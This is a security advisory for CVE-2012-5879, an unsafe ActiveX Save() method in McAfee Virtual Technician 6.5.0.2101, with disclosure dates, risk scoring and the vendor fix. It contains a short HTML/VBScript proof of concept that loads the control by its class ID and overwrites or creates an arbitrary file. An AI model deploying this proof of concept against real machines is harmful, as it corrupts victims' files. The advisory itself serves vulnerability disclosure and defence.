McAfee Virtual Technician (MVT) 6.5.0.2101 - Insecure ActiveX Method

🗓️ 29 Mar 2013 00:00:00Reported by High-Tech Bridge SAType

McAfee Virtual Technician (MVT) 6.5.0.2101 - Insecure ActiveX Method. Vulnerable to file corruption exploit

Reporter	Title	Published	Views	Family All 11
Check Point Advisories	McAfee Virtual Technician ActiveX Control Insecure Method Exposure (CVE-2012-5879)	30 Jun 201300:00	–	checkpoint_advisories
CVE	CVE-2012-5879	28 Mar 201323:00	–	cve
Cvelist	CVE-2012-5879	28 Mar 201323:00	–	cvelist
exploitpack	McAfee Virtual Technician (MVT) 6.5.0.2101 - Insecure ActiveX Method	29 Mar 201300:00	–	exploitpack
htbridge	McAfee Virtual Technician ActiveX Control Insecure Method	19 Nov 201200:00	–	htbridge
Tenable Nessus	McAfee Virtual Technician McHealthCheck.dll ActiveX Control Save() Method Arbitrary File Overwrite (SB10040)	12 Apr 201300:00	–	nessus
NVD	CVE-2012-5879	28 Mar 201323:55	–	nvd
Packet Storm	McAfee Virtual Technician (MVT) 6.5.0.2101 Unsafe Active-X	27 Mar 201300:00	–	packetstorm
Prion	Design/Logic Flaw	28 Mar 201323:55	–	prion
RedhatCVE	CVE-2012-5879	22 May 202512:18	–	redhatcve

Advisory ID: HTB23128
Product: McAfee Virtual Technician (MVT) 6.5.0.2101
Vendor: McAfee
Vulnerable Version(s): 6.5.0.2101 and probably prior
Tested Version: 6.5.0.2101 on Windows 7 SP1 and Internet Explorer 9
Vendor Notification: November 19, 2012 
Vendor Patch: March 15, 2013 
Public Disclosure: March 27, 2013 
Vulnerability Type: Exposed Unsafe ActiveX Method [CWE-618]
CVE Reference: CVE-2012-5879
Risk Level: Medium 
CVSSv2 Base Score: 5.8 (AV:N/AC:M/Au:N/C:N/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in McAfee Virtual Technician ActiveX control, which can be exploited by remote malicious person to overwrite arbitrary files with garbage data on a vulnerable system.


1) Insecure method in McAfee Virtual Technician ActiveX control: CVE-2012-5879

The vulnerability exists due to the ActiveX control including the insecure "Save()" method in "McHealthCheck.dll" DLL. This can be exploited to corrupt or create arbitrary files in the context of the current user.

The following PoC code is available:


<html>
<h4>McAfee Virtual Technician [McHealthCheck.dll] v.6.5.0.2101</h4>
<h5>This proof of concepts creates an arbitrary file in a system [Windows 7, SP1 with IE 9.0] by leveraging the McHealthCheck.dll ActiveX module and the method "Save()":</h5>
<object classid='clsid:24565A99-ADDA-47B9-9E86-3C4C3360E256' id='target'></object>
<input type="button" value="Boom!" language="VBScript" OnClick="CreateArbitraryFile()">

<script language="VBScript">
sub CreateArbitraryFile()
arg1="FilePath\File_name_to_corrupt_or_create"
target.Save arg1 
End Sub

</script>
</html>


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Solution:

Upgrade to McAfee Virtual Technician (MVT) 7.1
More Information:
https://kc.mcafee.com/corporate/index?page=content&id=SB10040

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References:

[1] High-Tech Bridge Advisory HTB23128 - https://www.htbridge.com/advisory/HTB23128 - McAfee Virtual Technician ActiveX control Insecure Method.
[2] McAfee Virtual Technician - mvt.mcafee.com - McAfee Virtual Technician collects information on your computer system so that McAfee can diagnose and solve problems related to your McAfee software.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

29 Mar 2013 00:00Current

7High risk

Vulners AI Score7

CVSS 28.2

EPSS0.11937